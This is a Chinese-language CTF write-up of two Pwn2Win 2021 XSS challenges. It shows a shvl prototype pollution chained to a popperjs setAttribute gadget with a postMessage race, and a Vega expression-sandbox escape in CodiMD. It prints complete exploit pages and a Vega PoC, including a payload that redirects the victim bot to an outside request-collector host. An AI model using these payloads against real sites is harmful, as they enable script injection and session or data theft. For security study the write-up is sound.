Pwn2win2021-XSS Writeup
2021-5-30 00:0:0 Author: hpdoger.cn(查看原文) 阅读量:7 收藏

pwn2lose比赛有两道xss,防止博客长草,mark一下

XSS题,给出bot能访问任意url
-w606

题目代码如下,逻辑比较简单:在监听到发来的message时间后卸载当前EventListener,使用shvl.sete.dataquote变量合并输出为标签内容并调用Popper.createPopper

<script src="https://unpkg.com/[email protected]/dist/shvl.umd.js"></script>
<script src="https://unpkg.com/@popperjs/[email protected]"></script>
<button id="send-button" type="submit" class="ui-button text">send</button>
<iframe id='#quote-base' src="/quotes"></iframe>

<script>
    const button = document.querySelector('#send-button');
    const tooltip = document.querySelector('#send-tooltip');
    const message = document.querySelector('#quote');

    window.addEventListener('message', function setup(e) {
        window.removeEventListener('message', setup);
        quote = {'author': '', 'message': ''}
        shvl.set(quote, Object.keys(JSON.parse(e.data))[0], Object.values(JSON.parse(e.data))[0]);
        shvl.set(quote, Object.keys(JSON.parse(e.data))[1], Object.values(JSON.parse(e.data))[1]);

        message.textContent = Object.values(quote)[1] + ' — ' + Object.values(quote)[0]

        const popperInstance = Popper.createPopper(button, tooltip, {
            placement: 'bottom',
            modifiers: [
                {
                    name: 'offset',
                    options: {
                        offset: [0, 8],
                    },
                },
            ],
        });
    });
</script>

引入的quote.html会在自加载时向父页面postMessage

//quote.html

<script>
    phrases = [
        {'@entrepreneur': 'The distance between your DREAMS and REALITY is called ACTION'},
        {'@successman': 'MOTIVATION is what gets you started, HABIT is what keeps you going'},
        {'@bornrich': 'It\'s hard to beat someone that never gives up'},
        {'@businessman': 'Work while they sleep. Then live like they dream'},
        {'@bigboss': 'Life begins at the end of your comfort zone'},
        {'@daytrader': 'A successfull person never loses... They either win or learn!'}
    ]


    setTimeout(function(){
        index = Math.floor(Math.random() * 6)
        parent.postMessage('{"author": "' + Object.keys(phrases[index])[0] + '", "message": "' + Object.values(phrases[index])[0] + '"}', '*');
    }, 0)
</script>

0x01 解题思路

题目没有X-Frame-Options,我们可以在自己的html中用<iframe>引入题目,并向其发送postMessage数据。同时shvl存在Prototype pollution,那自然是在库文件中找到能够触发XSS的gadget,这里很明显要从popperjs/[email protected]挖一个。在整个解题过程中要解决两个问题:

  1. 我们向页面发送postMessage的速度要比页面内嵌的quote.html快,否则在quote.html加载后会向父页面发送无害的message并注销监听器
  2. 找到popperjs中的gadget

第一个问题先按下不表,先看pollution to xss部分

0x02 Prototype pollution to xss

污染的部分shvl修复操作比较迷,只判断了用户输入的开头和结尾
-w810

也不能说是毫无用处,只能说是百无一用,简单测下污染如下

quote = {"author":"123"}
test = `{"__proto__.x":"hpdoger"}`
shvl.set(quote, Object.keys(JSON.parse(test))[0], Object.values(JSON.parse(test))[0]);
console.log(Object.prototype.x)
//hpdoger

接下来从popper-core拉一个未混淆过的popperjs,本地debug看下Popper.createPopper实例创建过程中会有哪些操作。一路步入,call stack一直跟到978行发现对所有注册的modifiers进行回调操作
-w1319

而在applyStyles这个装饰器中存在敏感操作element.setAttribute,会对用户选择的element进行属性值设置。这里的element分别为Popper.createPopper传入的buttontooltip标签元素

    function applyStyles(_ref) {
        var state = _ref.state;
        Object.keys(state.elements).forEach(function (name) {
            var style = state.styles[name] || {};
            var attributes = state.attributes[name] || {};
            var element = state.elements[name]; // arrow is optional + virtual elements

            if (!isHTMLElement(element) || !getNodeName(element)) {
                return;
            } // Flow doesn't support to extend this property, but it's the most
            // effective way to apply styles to an HTMLElement
            // $FlowFixMe[cannot-write]


            Object.assign(element.style, style);
            Object.keys(attributes).forEach(function (name) {
                var value = attributes[name];

                if (value === false) {
                    element.removeAttribute(name);
                } else {
                    element.setAttribute(name, value === true ? '' : value);
                }
            });
        });
    }

遍历state.elements的逻辑中会对属性attributes赋值,第一次键名name会取为reference,即state.attributes[name]取到空值。而后对赋值后的attributes取键名、键值赋给element做属性值,也就是说我们污染Object.prototype.reference{"onload":"xx"}即可向element中添加一个onload事件属性。

写个demo简单测试一下,button没有onload可用,这里用导航聚焦到标签id来触发XSS

      quote = {"author":"123"}
      test = `{"__proto__.reference":{"onfocus":"alert(1)","tabindex":"0", "id":"x"}}`
      set(quote, Object.keys(JSON.parse(test))[0], Object.values(JSON.parse(test))[0]);

      const popperInstance = Popper.createPopper(button, tooltip, {
          placement: 'bottom',
          modifiers: [
              {
                  name: 'offset',
                  options: {
                      offset: [0, 8],
                  },
              },
          ],
      });

-w1302
-w868

0x03 faster than innerIframe

现在要解决第一个问题,这里有两种方法

先放@rebirthwyw师傅的做法,代码如下。在加载题目页面后,不断竞争地修改子页面quote.html窗体的location使其指向baidu.com,设置合理的setTimeout数量,可以稳定的在异步环境下竞争过quote.html自身完全加载的时间,在页面完全加载之前使其转向,自然不会触发内部的<script>标签内容

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
</head>
<body>
    <iframe src="https://small-talk.coach:1337/" id='ifr'></iframe>
    <script>
        var times = 0;
        var max = 100;
        function race() {
            setTimeout(function(){
            ifr = document.getElementById('ifr');
            ifr.contentWindow.frames[0].location = "https://www.baidu.com/";
        },10)
            times++;
            if (times<max) {
                race();
            } else {


            }
        }
        setTimeout(function(){race()}, 5000);
    </script>
</body>
</html>

我的想法是在iframe.src引入题目链接(子页面)之前,就不断地向iframe窗体异步地发送postMessage消息。由于我们在异步的过程中一定会比iframe自身载入资源(载入孙子页面quote.html)要快,因此可以先quote.html一步发送postMessage,代码如下

<script>
    var time = 995;
    var genifr = document.createElement("iframe")

    setTimeout(()=>{
        // genifr.src = "./local.html"
        genifr.src = "https://small-talk.coach:1337/"
        genifr.id = "win"
        document.body.append(genifr)
        console.log("[+]:iframe create done")
    },1000)

    for(let i= 0; i <= 30; i++){
        time = time + 1
        setTimeout(function (){
            post(genifr, i)
        }, time)
    }

    async function post(ifr, i){
        console.log(`loading: ${i}, current src_id :${ifr.id}`)
        let params = `{"__proto__.reference":{"onfocus":"window.location='http://909p5z60.requestrepo.com'","tabindex":"0", "id":"x"},"bb":"123"}`
        ifr.contentWindow.postMessage(params, '*')
    }

    genifr.addEventListener("load", ()=>{
        genifr.contentWindow.location = "https://small-talk.coach:1337/#x"
        // genifr.contentWindow.location = "./local.html#x"
    })
</script>

比较坑的一点是本地5ms资源加载的延迟,可以让我们设置setTimeout所需要的时间比较确定,只需要异步开始的时间无限接近iframe引入题目链接的时间即可。然而在管理员那边需要不断改变setTimeout的时间差,而且时不时题目就崩了…不过我觉得这两种都不是预期bypass window.removeEventListener的方法,等看到其他黑科技再分享出来。

-w1187

最新版的codimd,上线的时候@rebirthwyw和@mads发现codimd所用的依赖vega依然存在XSS没有修复,需要mouseover触发
-w1001

vega也是我第一次接触,用在markdown画图/制表的一些操作。比较有意思的是,vega支持用JSON格式的数据来操纵DOM,例如hook events或建立svg窗体。在文档Vega-Signals给出的demo中,signal定义对应的on字段,信号用来捕获mousemove事件,响应操作在update中给出

events支持的全部Event Streams如下,几乎都是需要用户交互才能触发。万幸的是,vega自定义了一个计时器事件

那就可以用计时器延时(timer)自动触发update操作。按照vega格式要求写好poc测试,发现timer这个event对象并没有窗体指向,所以event.target指向undefined,从而无法获取ownerDocument,也就没办法用issue提到的方法逃逸出沙盒拿到eval
-w1097

最初的想法是监听两个signal:其中一个hookkeypress这类窗体事件,update调用自身event.target.ownerDocument.defaultView.eval执行命令;另一个signal用来设置计时器,update调用内置expression触发类似于模拟点击/聚焦的操作,这样就能够在计时结束后执行第一个signal所hook的事件。

但翻了一遍官方expression手册后,并没有发现符合需求的表达式。倒是看到了有warn表达式

那可以在控制台输出来找找看timer字段里有没有指向窗体的属性值,果然在event.dataflow._el里找到ownerDocument指向,继续调用eval就能执行了
-w660

完整的poc如下,题目测试地址:https://hackus.xyz/

```vega
{
  "signals": [
    {
      "name": "indexDate",
      "description": "A date value that updates in response to mousemove.",
      "update": "datetime(2005, 0, 1)",
      "on": [{"events":"timer{2000}", "update": "join({'join':event.dataflow._el.ownerDocument.defaultView.eval},'alert(1)')"}]
    }
  ],
  "scales": [
    { "name": "x", "type": "time" }
  ],
  "marks": [
    {
      "type": "rule",
      "encode": {
        "update": {
          "x": {"scale": "x", "signal": "indexDate"}
        }
      }
    }
  ]
}
```

-w967


文章来源: https://hpdoger.cn/2021/05/30/title:%20Pwn2win2021-XSS%20Writeup-1/
如有侵权请联系:admin#unsafe.sh